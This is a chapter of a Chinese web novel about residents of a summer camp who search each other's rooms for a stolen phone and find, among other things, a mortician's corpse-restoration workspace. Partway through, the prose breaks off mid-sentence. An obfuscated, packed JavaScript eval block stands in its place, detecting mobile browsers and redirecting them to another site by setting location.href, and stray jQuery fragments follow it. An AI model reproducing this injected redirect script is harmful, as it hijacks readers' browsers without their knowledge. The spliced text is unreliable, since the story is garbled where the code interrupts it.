4. 第 4 章

在搜查陈宇南的房间时,为了避嫌,陈宇南没有进屋,和众人站在屋外等。


不知道是屋内翻找出的动静,还是什么,他听见一声叫。周围的人没有反应,他问身旁的悦凌凌:“有听见什么声音吗?”


悦凌凌“啊”一声,匆匆摇头:“没。”


于是,他当自己听错了。


两分钟后,那叫声越来越大,还有重物砸在地上的闷响,从楼梯口方向传来。


这次,所有人都听见了。


平月的房间门不知道在什么时候锁死了,平月在里面叫。


陈宇南冲过去,疯了一样撞门。


没用,里面的人完全不怕被人知道。直到梁威过来。


范明胜打开门,吊儿郎当地叉着腿走路,走两步提一下裤子。陈宇南想一拳捶死他,怒火烧得心脏都烂了,但平月软绵绵地半躺在床尾,像一根面条,似断非断,他什么都顾不上,撞开范明胜冲进屋里。


平月昏迷了,从床尾滑到地上。


陈宇南快速接住她,抱起人放上床。雪白的被子里,她裸露的脚踝肿得又红又大,手臂上深红色的掐痕刺得陈宇南的眼疼。


梁威将范明胜拎了起来,怼在墙上。


“冤枉啊!”范明胜双手高举,大声喊,“我什么都没做,只跟她说了两句话,不信你们问她!”


他像世界上的每一个无赖。所有人都心知肚明他想做什么,然而所有人都拿不出证据,于是,所有人都不敢将他怎么样。


梁威警告他:“安分点。”


他老实得如同一个被训的学生,面上又俱又怕又乖,“一定听您的话!”


梁威丢开他。


范明胜哈着腰,对梁威谄谀地笑:“那、我先回房了?”


梁威:“站住。”


范明胜:“您还有什么吩咐?”


梁威:“查房。”


于是,搜查房间,变成从范明胜那头开始查。


范明胜住平月的正对面,恰好是楼梯口另一端的第一间房。


房间里摆着中午吃剩的饭菜,残羹汤汁在恒温室内搁了一下午,透着一股垃圾味。


他装行李的蛇皮口袋破破烂烂敞开,脏衣服裤子乱七八糟地堆着,打眼瞧着像是刚捡了垃圾过来的。


除了梁威和周志,一群人嫌弃地挪到旁边的房间门口等。


他们搜了很久,搜得很仔细,周志让在对面房间陪平月的悦凌凌打电话。


梁威的手机摔烂了一个角,还能继续用。悦凌凌坐在床边,就着平月之前打的那个电话号码一直打,一直打。范明胜的房间里没有任何铃声。


范明胜摊开双手,很无辜:“说了不是我。您也查了,真不是我。我那会儿还在做梦呢。”


小偷都爱说“不是我”,偏偏周志将床脚抬起来看过,床垫子拆了,马桶盖也拆了,还真没有。


范明胜是他最怀疑的人,证据是一点也找不着。


周志失望地离开房间。


隔壁是余有为的房间。周志推开门就被刀光闪了眼,他下意识抬手挡,从指缝看见正门进去的厨台上立着一排大刀小刀,刀刃开得很锋利,寒光瞩目。


余有为挺着大肚子,站在门口尴尬笑:“厨子。”


周志:“藏着点吧,这么多刀,当心人心不轨。”


余有为:“收到收到。”


余有为的房间很大,但空。检查得很快,一无所获。


隔壁是钱晓文。梁威的余光一直注意着她,随着周志走出余有为房间,钱晓文几乎要流出汗来,肉眼可见的慌张。


有些东西并不是因为大家同住一个屋檐下就能接受,更何况是令人恐惧的东西。


他们还要一起住两个月,钱晓文不想成为被排挤的那个人。


在周志走到门口之前,钱晓文闪身挡住门,“你们这样做是犯法。”


张情听笑了:“不会是你偷的吧?”


她上下打量钱晓文。这个女人的头发不算多,整整齐齐扎着低马尾,颧骨因为消瘦而微微凸出,微白的皮肤让她看起来不丑,却也不好看。穿着短袖和长裤,非常普通。


不是有钱人,却也算不上穷人,比起范明胜,简直是一个再正常不过的人。


但是嘛,被人忽略的正常人总是会在意想不到的情况下变成特殊的人。


张情颇有兴趣地盯着她瞧,“你不怕晚上偷你屋里去啊?”


钱晓文脸色骤变,她看着对面围着她的男男女女,他们打量她,就像在衡量她是小偷的概率有多少。


就这时,赵淑萍慢腾腾地挪了上来。她住钱晓文的隔壁,周志将搜房间的事情告诉她。钱晓文期待她像她一样抗拒,结果赵淑萍严肃地说:“搜,一定要好好搜,搜彻底,后面才安生。”


“对咯。”


张情笑着看钱晓文。


“你不搜也没事,不耽搁什么,等搜完所有人的,没找到手机,那谁是小偷不就清楚了?”


钱晓文眼睁睁看着那些人从怀疑她变成肯定她是小偷。他们笃定自己不是小偷,那么只有她是了。


人群开始往赵淑萍房间移动。


踌躇不定的钱晓文急了,一把拽住梁威,“你进去查吧。”以她的工作经验看,梁威是这群人里最稳妥可靠的。他应当不会感到害怕。


她打开房间,将梁威推进去,又带上门。


“有宝贝啊?”


张情好奇。


钱晓文冷着脸,不答。


张情讨了个没趣,不问了,抱着猫靠在走廊栏杆等结果。


梁威确实吓了一跳。


钱晓文的房间入门是一排高高的柜子,将里面遮挡完全。他绕过立柜,视野挤进一具青灰白的尸体,死沉沉地躺在敞开的帘子后面,旁边一架小推车上放满各式各样的工具,桶里浸泡着皮肉。


青白的顶灯照着,活像一个变态杀人现场。


梁威是警察,却只是一个民警。第一次直视这样惨烈的场景,骇了一大跳。好在多年的经验让他很快沉静下来。


他没有在第一时间找手机和平板,而是站在尸体旁边。


尸体损伤非常严重,肩膀以上面目模糊,没有一块完好的皮。手脚也是损伤惨重。尸体处理过,散发浓郁的药水味,没有臭味。


他在尸体躺着床架上看见一张标签:作业一,修复。


梁威在落地衣架上找到钱晓文的工作牌——入殓师。一寸照片的右下角盖着平城怀安火葬场的红章。


梁威瞬间知道她不愿意被搜查房间的原因了。但凡被胆小的人看见,后面两个月都无法融洽相处。在夏令营里,最不能的就是孤立一人。


他找了一圈,没有找到平月的手机和平板。


走出房间,大家都盯着他。钱晓文紧张得快绷不住了,很怕他将房间里的事情说出来。


张情:“没有?”


梁威:“嗯。”没有过多的话,拐进了赵淑萍的房间。


钱晓文松了一口气,而赵淑萍提上一口气,焦灼地等周志和梁威搜完出来,周志对她摇了摇头,她仍旧没有放轻松的意思。


赵淑萍隔壁是张情房间,除了满屋乱飞的裙子和内衣内裤香水指甲油,什么都没有。周志看


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926634|160543||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


得尴尬至极,早早退出房间。


接下来是梁威和周志的房间,两个人互相搜对方,也没有。


悦凌凌站在平月门口扬声问:“找到没?”


周志说:“没。”


余有为打个哈欠,掏出裤兜里的烟,点燃叼在嘴里,“既然没有,都回去睡吧?”


梁威抬起手腕看表,折腾这么久,已经是凌晨一点了。


周志也打了个哈欠,说:“今晚先这样?大家把门反锁了,能用椅子抵的就抵抵,明天再说?”


确实搜不出手机,梁威不能强行留人。他们折腾一路到这里,下午睡了四五个小时又被吵醒,确实累人。


大家散了。


梁威回房间拿了跌打损伤的药酒去平月屋里,平月还没醒。悦凌凌把手机还给他。梁威收了手机,让她去浴室拿张毛巾。


他半跪在床边,拉过平月的左脚,脚踝那处肿得有点大了。他摸到错位的骨头,握住她的脚掌,用力一扭。


咔嚓。


“啊!”


平月痛醒了,条件反射地提脚就朝他脸上蹬。


那是她最大的力道,对于梁威而言,不如局里的沙包重。轻飘飘地卸了力。


“别动。”


“怎么了!”


悦凌凌和陈宇南匆匆忙忙跑来,一个在浴室门口看他,一个在大门口看他。


梁威拿过悦凌凌手里的毛巾,垫在床上,对平月点了点毛巾。她痛得眼眶红了,很不想照做,但看见梁威将药酒倒在掌心搓得沙沙响,还是老老实实将脚递过去。


梁威搓热了手,一手捏住她的脚后跟,另一只手往她脚踝按。


“痛!”


平月痛得嘶嘶抽气,卷着脚趾不断往回收腿。梁威握得用力,按住伤口搓揉。


平月几乎是用最悲惨的声音惨叫了两声,然后不叫了。


梁威狐疑抬头,只见她咬着唇,眼泪一串一串地掉。那眼泪晶莹剔透,像春水,流到空气里,方方正正的气氛都被染出了涟漪。


梁威最不喜欢柔柔弱弱一疼就哭的女生,甚至烦得头疼。但这一刻,梁威才知道他烦的是人,不是哭。如果他从一开始就烦,就不会带药酒过来。


她坐在那儿悄悄哭,就哭这么一小会,眼睛红红的,眼睑也哭红了,微微肿起,瞳孔里尽是桃粉色的水。


掌心的药酒像是从她脚上流进了他的体内,灼烧了他。


他下意识握紧手,才惊觉她的脚很小,很软,比面团还柔软细腻。拇指从她的脚背滑过,像摩挲一块完美的玉,触感令人流连忘返。


“别哭了。”


陈宇南蹲在床边,拿着纸给她擦眼泪。


“忍忍,马上就好了。”


他说得笨拙,声音轻,像哄孩子。


平月的眼泪掉得更多了,给陈宇南吓得手足无措,却又不知道该怎么做,他从来没哄过女孩子,都是女孩子追他。于是手忙脚乱地给她擦眼泪。


梁威收回神,用毛巾裹住她的脚,放回被子里。


“好好修养,我回去了。”


她张口想说话,但刚才哭得凶,出口的哭腔不成调。


梁威知道她想说什么,“有事叫人。”


她点点头。


梁威转身走出房间,两侧的手掌滚烫,隔着粗糙的厚茧烧灼他。他拿起来,摊开,又握上,握了一团冰冷的空气。


视野上方有一道影子。


张情靠在门框上,抱着猫,似笑非笑地看他。


梁威迅速将手背到身后。


张情瞥了他一眼,没说话,扭身进了屋。